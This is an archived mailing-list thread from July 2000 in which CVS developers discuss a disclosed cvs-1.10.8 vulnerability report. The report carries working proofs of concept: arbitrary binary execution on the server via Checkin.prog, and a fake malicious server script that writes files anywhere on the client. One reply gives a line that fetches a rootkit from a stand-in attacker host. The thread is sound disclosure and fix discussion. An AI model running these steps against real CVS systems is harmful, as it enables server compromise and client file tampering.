Re: [akr@M17N.ORG: cvs security problem]
> "Tanaka" == Tanaka Akira <[EMAIL PROTECTED]> writes:
Tanaka> In article <[EMAIL PROTECTED]>,
Tanaka> Michael Richardson <[EMAIL PROTECTED]> writes:
>> Systems that give shells out to people that have write access
>> are already open to running programs by clients.
>>
>> So, this really affects people that use :pserver: with write
>> access.
Tanaka> The problem also affects carefully configured :ext: method using ssh.
Tanaka> It is well known that :pserver: with write access is dangerous because
Tanaka> it sends password in plain text and :ext: using ssh is recommended.
I did not realize that people had done such things.
Tanaka> But :ext: using ssh has a problem that it provides shell access in
Tanaka> general. So pedantic administrator (like me) disables shell access by
Tanaka> a option `commands="cvs server"' in authorized_keys (and use chroot).
Yes, I've done this. I didn't realize that it required :ext:?? Maybe I just
don't know CVS's newer methods well enough.
I agree that things should be fixed. I am just not panic'ed about this.
] Train travel features AC outlets with no take-off restrictions|gigabit is no[
] Michael Richardson, Solidum Systems, on my way to IETF#48 |problem with[
] [EMAIL PROTECTED] www.solidum.com |PAX.port 1100[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy"); [
Re: [akr@M17N.ORG: cvs security problem]
Ian Lance Taylor writes: > > As I read the code, Update.prog lets me have an arbitrary number of > arguments. Look at run_setup. Given that much leeway, I could do a > lot using /bin/sh -c. You're right, you can have arguments. I don't think sh -c would be very useful, though, since only the immediately following argument is interpreted as a command and there's no provisions in run_setup for quoting whitespace. -Larry Jones I sure like summer vacation. -- Calvin
Re: [akr@M17N.ORG: cvs security problem]
In article <[EMAIL PROTECTED]>, [EMAIL PROTECTED] (Larry Jones) writes: > It's a known problem. Like it says in the Cederqvist manual (under > "Security considerations with password authentication"): > > ... once a user has non-read-only access to the repository, she > can execute programs on the server system through a variety of > means. I believe that most of the problems can be prevented by carefully designed chroot jail without cvs modification. I think that the problem is serious because chroot cannot prevent it. > Fixing this will require some serious redesign -- the simplest fix would > be to just get rid of checkin and update programs, but I'm not sure how > people would feel about that. I hope that and my patch do that. If someone want the function, it should be configurable and disabled by default. -- Tanaka Akira
Re: [akr@M17N.ORG: cvs security problem]
In article <[EMAIL PROTECTED]>, [EMAIL PROTECTED] (Larry Jones) writes: > Update.prog just contains the name of the program to run, not the actual > code. If you can't commit, you can't upload arbitrary code to run, you > can only run pre-existing code on the server, and you have no control > over its input or arguments, so it's a very low-level threat. read-only user can create arbitrary code under /tmp/cvs-serv using Modified request. Update.prog cannot be used to execute it since Update.prog is disabled for read-only user, though. Actually, the code can created anywhere under /tmp by pathname_levels bug. (And anywhere under / if / is writable.) Usually, read-only user uses Modified request properly for `cvs diff'. -- Tanaka Akira
Re: [akr@M17N.ORG: cvs security problem]
In article <[EMAIL PROTECTED]>, Michael Richardson <[EMAIL PROTECTED]> writes: > Systems that give shells out to people that have write access > are already open to running programs by clients. > > So, this really affects people that use :pserver: with write > access. The problem also affects carefully configured :ext: method using ssh. It is well known that :pserver: with write access is dangerous because it sends password in plain text and :ext: using ssh is recommended. But :ext: using ssh has a problem that it provides shell access in general. So pedantic administrator (like me) disables shell access by a option `commands="cvs server"' in authorized_keys (and use chroot). The problem is the real problem in this case. It provides general access to server machine even if cvs server is running in chroot jail and /bin/sh is not exist. Maybe, the first problem I described is not so interesting other than pedantic administrators. (Second problem is more interesting for casual users, I think.) -- Tanaka Akira
Re: [akr@M17N.ORG: cvs security problem]
> "Karl" == Karl Fogel <[EMAIL PROTECTED]> writes: Karl> Sorry -- good point. I'll look at it in detail when I'm looking at it Karl> in detail, which will be early next week. In the meantime, I'll keep Karl> my mouth shut. :-) Karl> -K Karl> Ian Lance Taylor <[EMAIL PROTECTED]> writes: >> From: Karl Fogel <[EMAIL PROTECTED]> >> Date: 28 Jul 2000 14:01:23 -0500 >> >> Ian Lance Taylor <[EMAIL PROTECTED]> writes: >> > This looks like a serious security problem. It appears to open >> > anonymous CVS servers to a wide range of attack. >> >> It looks serious, but not for anonymous-only servers, since anonymous >> users can't commit. >> >> What if I frob Update.prog? I don't claim to understand all the cases >> here, but it appears that that will be run by `cvs update'. >> >> Ian Any, correct me if I'm wrong: Update.prog can only be frobbed by someone that has write permissions. Yes, it will cause the program to be run on the server, and you can run the programs under other people's (including read-only and anonymous people)'s IDs, but the threat is still limited to those with write permissions. :!mcr!:| Solidum Systems Corporation, http://www.solidum.com Michael Richardson | now at 1575 Carling Avenue... still moving in Personal: http://www.sandelman.ottawa.on.ca/People/Michael_Richardson/Bio.html">[EMAIL PROTECTED]. PGP key available. Corporate: mailto:[EMAIL PROTECTED]">[EMAIL PROTECTED].
Re: [akr@M17N.ORG: cvs security problem]
> "Ian" == Ian Lance Taylor <[EMAIL PROTECTED]> writes: Ian> This looks like a serious security problem. It appears to open Ian> anonymous CVS servers to a wide range of attack. Correct me if I'm wrong, but it seems that one has to have commit permissions to create these files, so in fact, typical use of anonymous servers are safe. Systems that give shells out to people that have write access are already open to running programs by clients. So, this really affects people that use :pserver: with write access. :!mcr!:| Solidum Systems Corporation, http://www.solidum.com Michael Richardson | now at 1575 Carling Avenue... still moving in Personal: http://www.sandelman.ottawa.on.ca/People/Michael_Richardson/Bio.html">[EMAIL PROTECTED]. PGP key available. Corporate: mailto:[EMAIL PROTECTED]">[EMAIL PROTECTED].
Re: [akr@M17N.ORG: cvs security problem]
On Fri, Jul 28, 2000 at 05:20:13PM -0400, Larry Jones wrote: >-- the simplest fix would > be to just get rid of checkin and update programs, but I'm not sure how > people would feel about that. It would probably remove any chance I have of getting the company I work for to switch to CVS. :-< mrc -- Mike Castle Life is like a clock: You can work constantly [EMAIL PROTECTED] and be right all the time, or not work at all www.netcom.com/~dalgoda/ and be right at least twice a day. -- mrc We are all of us living in the shadow of Manhattan. -- Watchmen
Re: [akr@M17N.ORG: cvs security problem]
> Update.prog just contains the name of the program to run, not the actual > code. If you can't commit, you can't upload arbitrary code to run, you > can only run pre-existing code on the server, and you have no control > over its input or arguments, so it's a very low-level threat. cat "wget ftp://ftp.hax0r.cx/rootkit" >CVS/Update.prog should I continue? Only very carefully made chroot gaol can give you some security. Just a shell with redirections can do a lot of harm. By the way, bash-2.04 can redirect to TCP sockets. Do you know that? Do you have to know? Now you have. Another question is that Update.prog may become useless after removing "rm", "cat" and other "harmful" programs. Regards, Pavel Roskin
Re: [akr@M17N.ORG: cvs security problem]
Date: 28 Jul 2000 14:58:08 -0700 From: Ian Lance Taylor <[EMAIL PROTECTED]> Date: Fri, 28 Jul 2000 17:36:53 -0400 (EDT) From: Pavel Roskin <[EMAIL PROTECTED]> I hope that there is no immediate danger. Look at serve_update_prog() - it checks whether commits are allowed and exits if they are not. It prints a strange message though: E Flag -u in modules not allowed in readonly mode So unless somebody finds other holes, ther is no obvious way to exploit CVS/Update.prog without having write access. But serve_update_prog appears to permit any command which does not modify the repository. And cvs update does not modify the repository. Sorry, my error. I see what you mean. Good to hear. Ian
Re: [akr@M17N.ORG: cvs security problem]
Date: Fri, 28 Jul 2000 17:36:53 -0400 (EDT) From: Pavel Roskin <[EMAIL PROTECTED]> I hope that there is no immediate danger. Look at serve_update_prog() - it checks whether commits are allowed and exits if they are not. It prints a strange message though: E Flag -u in modules not allowed in readonly mode So unless somebody finds other holes, ther is no obvious way to exploit CVS/Update.prog without having write access. But serve_update_prog appears to permit any command which does not modify the repository. And cvs update does not modify the repository. Ian
Re: [akr@M17N.ORG: cvs security problem]
Date: Fri, 28 Jul 2000 17:45:13 -0400 (EDT) From: [EMAIL PROTECTED] (Larry Jones) Ian Lance Taylor writes: > What if I frob Update.prog? I don't claim to understand all the cases > here, but it appears that that will be run by `cvs update'. Update.prog just contains the name of the program to run, not the actual code. If you can't commit, you can't upload arbitrary code to run, you can only run pre-existing code on the server, and you have no control over its input or arguments, so it's a very low-level threat. As I read the code, Update.prog lets me have an arbitrary number of arguments. Look at run_setup. Given that much leeway, I could do a lot using /bin/sh -c. Ian
Re: [akr@M17N.ORG: cvs security problem]
Ian Lance Taylor writes: > > What if I frob Update.prog? I don't claim to understand all the cases > here, but it appears that that will be run by `cvs update'. Update.prog just contains the name of the program to run, not the actual code. If you can't commit, you can't upload arbitrary code to run, you can only run pre-existing code on the server, and you have no control over its input or arguments, so it's a very low-level threat. -Larry Jones I always have to help Dad establish the proper context. -- Calvin
Re: [akr@M17N.ORG: cvs security problem]
Hello! On 28 Jul 2000, Karl Fogel wrote: > Sorry -- good point. I'll look at it in detail when I'm looking at it > in detail, which will be early next week. In the meantime, I'll keep > my mouth shut. :-) I hope that there is no immediate danger. Look at serve_update_prog() - it checks whether commits are allowed and exits if they are not. It prints a strange message though: E Flag -u in modules not allowed in readonly mode So unless somebody finds other holes, ther is no obvious way to exploit CVS/Update.prog without having write access. Regards, Pavel Roskin
Re: [akr@M17N.ORG: cvs security problem]
Sorry -- good point. I'll look at it in detail when I'm looking at it in detail, which will be early next week. In the meantime, I'll keep my mouth shut. :-) -K Ian Lance Taylor <[EMAIL PROTECTED]> writes: >From: Karl Fogel <[EMAIL PROTECTED]> >Date: 28 Jul 2000 14:01:23 -0500 > >Ian Lance Taylor <[EMAIL PROTECTED]> writes: >> This looks like a serious security problem. It appears to open >> anonymous CVS servers to a wide range of attack. > >It looks serious, but not for anonymous-only servers, since anonymous >users can't commit. > > What if I frob Update.prog? I don't claim to understand all the cases > here, but it appears that that will be run by `cvs update'. > > Ian
Re: [akr@M17N.ORG: cvs security problem]
From: Karl Fogel <[EMAIL PROTECTED]> Date: 28 Jul 2000 14:01:23 -0500 Ian Lance Taylor <[EMAIL PROTECTED]> writes: > This looks like a serious security problem. It appears to open > anonymous CVS servers to a wide range of attack. It looks serious, but not for anonymous-only servers, since anonymous users can't commit. What if I frob Update.prog? I don't claim to understand all the cases here, but it appears that that will be run by `cvs update'. Ian
Re: [akr@M17N.ORG: cvs security problem]
Ian Lance Taylor writes: > > This looks like a serious security problem. It appears to open > anonymous CVS servers to a wide range of attack. It's a known problem. Like it says in the Cederqvist manual (under "Security considerations with password authentication"): ... once a user has non-read-only access to the repository, she can execute programs on the server system through a variety of means. Fixing this will require some serious redesign -- the simplest fix would be to just get rid of checkin and update programs, but I'm not sure how people would feel about that. -Larry Jones Who, ME? Who?! Me?? WHO... Me?! Who, me??? -- Calvin
Re: [akr@M17N.ORG: cvs security problem]
Ian Lance Taylor <[EMAIL PROTECTED]> writes:
> This looks like a serious security problem. It appears to open
> anonymous CVS servers to a wide range of attack.
It looks serious, but not for anonymous-only servers, since anonymous
users can't commit.
The hole here, I think, is that someone who already has commit access
can now execute an arbitrary program on the server system.
Agree, it needs fixing. I'll do it unless someone else has a burning
desire to (Larry?).
> --- Start of forwarded message ---
> To: [EMAIL PROTECTED]
> Date: Fri, 28 Jul 2000 17:21:28 +0900
> From: Tanaka Akira <[EMAIL PROTECTED]>
> Subject: cvs security problem
>
> I found two security problems in cvs-1.10.8.
>
> (1) A committer can execute any binary in server using
> CVS/Checkin.prog or CVS/Update.prog.
>
> A committer can execute arbitrary binary on a cvs server using
> Checkin.prog. Usually CVS/Checkin.prog in a working directory is
> copied from CVSROOT/modules when the directory is checkouted and it is
> sent back to the server and executed with committing. Note that when
> it is executed, committed files are exsists in a current directory.
>
> Since a working directory can be modified by a committer which have
> the working directory, Checkin.prog may be modified or even newly
> created. If an evil committer do it, cvs server executes such forged
> Checkin.prog. Also note that the evil committer can create arbitrary
> binary file by `cvs add -kb' and `cvs commit'. So the evil committer
> can execute just committed binary file by via Checkin.prog triggerd by
> the `cvs commit'.
>
> Note that similar problem exists with CVS/Update.prog.
>
> Following example is that a committer sends `ls' binary and executes
> in the server. (it assumes that the server and the client is same
> architecture.)
>
> % cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
> cvs server: Updating somemodule
> % cd somemodule
> % cp /bin/ls binary
> % cvs add -kb binary
> cvs server: scheduling file `binary' for addition
> cvs server: use 'cvs commit' to add this file permanently
> % echo ./binary > CVS/Checkin.prog
> % cvs commit -m 'test'
> cvs commit: Examining .
> RCS file: /tmp/cvs/somemodule/binary,v
> done
> Checking in binary;
> /tmp/cvs/somemodule/binary,v <-- binary
> initial revision: 1.1
> done
> cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
> #cvs.lock
> #cvs.wfl.serein.m17n.org.14330
> binary,v
>
> This problem can be fixed by disabling two requests.
>
> - --- server.c- Fri Apr 28 15:37:13 2000
> +++ server.cFri Apr 28 15:38:06 2000
> @@ -4553,8 +4553,6 @@
>REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
>REQ_LINE("Static-directory", serve_static_directory, 0),
>REQ_LINE("Sticky", serve_sticky, 0),
> - - REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
> - - REQ_LINE("Update-prog", serve_update_prog, 0),
>REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
>REQ_LINE("Kopt", serve_kopt, 0),
>REQ_LINE("Checkin-time", serve_checkin_time, 0),
>
> (2) cvs server can instruct to create any file at any locaiton in
> client machine.
>
> With cvs protocol, client side paths are processed by server and
> client blindly trusts paths in server responses, cvs server can create
> any file at any locaiton in client machine.
>
> For example, if a client tries to checkout a module `tst' as:
>
> % cvs -f -d :ext:user@server:/cvsroot co tst
>
> and server includes a dangerous response as follows to its responses,
> the cilent creates /tmp/foo.
>
> Created /tmp/
> /cvsroot/tst/foo
> /foo/1.1///
> u=rw,g=rw,o=rw
> 4
> abc
>
> This problem can be test yourself as follows. Although this example
> runs faked cvs server using :ext: method, this vulnerability is
> available in any methods (including :pserver: of course).
>
> % ls -l /tmp/foo
> ls: /tmp/foo: No such file or directory
> % cat crackers-cvs-server
> #!/bin/sh
>
> cat <<'End'
> Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot
>Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified
>Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx
>Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt
>expand-modules ci co update diff log add remove update-patches gzip-file-contents
>status rdiff tag rtag import admin export history release watch-on watch-off
>watch-add watch-remove watchers editors init annotate noop
> ok
> Module-expansion tst
> ok
> Clear-sticky tst/
> /cvsroot/tst/
> Clear-static-directory tst/
> /cvsroot/tst/
> E cvs server: Updating tst
> Created /tmp/
> /cvsroot/tst/foo
> /foo/1.1///
> u=rw,g=rw,o=rw
> 4
> abc
> ok
> End
> % CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
> cvs server: Updating tst
> cvs checkout: in directory /tmp:
> cvs checkout: cannot open CVS/Entries for reading: No such file or directory
> cvs checkout: cannot open CVS/Entries.Log: No su
[akr@M17N.ORG: cvs security problem]
This looks like a serious security problem. It appears to open
anonymous CVS servers to a wide range of attack.
Ian
--- Start of forwarded message ---
To: [EMAIL PROTECTED]
Date: Fri, 28 Jul 2000 17:21:28 +0900
From: Tanaka Akira <[EMAIL PROTECTED]>
Subject: cvs security problem
I found two security problems in cvs-1.10.8.
(1) A committer can execute any binary in server using
CVS/Checkin.prog or CVS/Update.prog.
A committer can execute arbitrary binary on a cvs server using
Checkin.prog. Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing. Note that when
it is executed, committed files are exsists in a current directory.
Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created. If an evil committer do it, cvs server executes such forged
Checkin.prog. Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'. So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.
Note that similar problem exists with CVS/Update.prog.
Following example is that a committer sends `ls' binary and executes
in the server. (it assumes that the server and the client is same
architecture.)
% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v
This problem can be fixed by disabling two requests.
- --- server.c- Fri Apr 28 15:37:13 2000
+++ server.cFri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
REQ_LINE("Static-directory", serve_static_directory, 0),
REQ_LINE("Sticky", serve_sticky, 0),
- - REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
- - REQ_LINE("Update-prog", serve_update_prog, 0),
REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
REQ_LINE("Kopt", serve_kopt, 0),
REQ_LINE("Checkin-time", serve_checkin_time, 0),
(2) cvs server can instruct to create any file at any locaiton in
client machine.
With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.
For example, if a client tries to checkout a module `tst' as:
% cvs -f -d :ext:user@server:/cvsroot co tst
and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
This problem can be test yourself as follows. Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).
% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh
cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot
Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified
Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx
Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt
expand-modules ci co update diff log add remove update-patches gzip-file-contents
status rdiff tag rtag import admin export history release watch-on watch-off watch-add
watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
- -rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc
Currently, I don't have a patch to fix this problem.
- --
Tanaka Akira
--- End of forwarded message ---
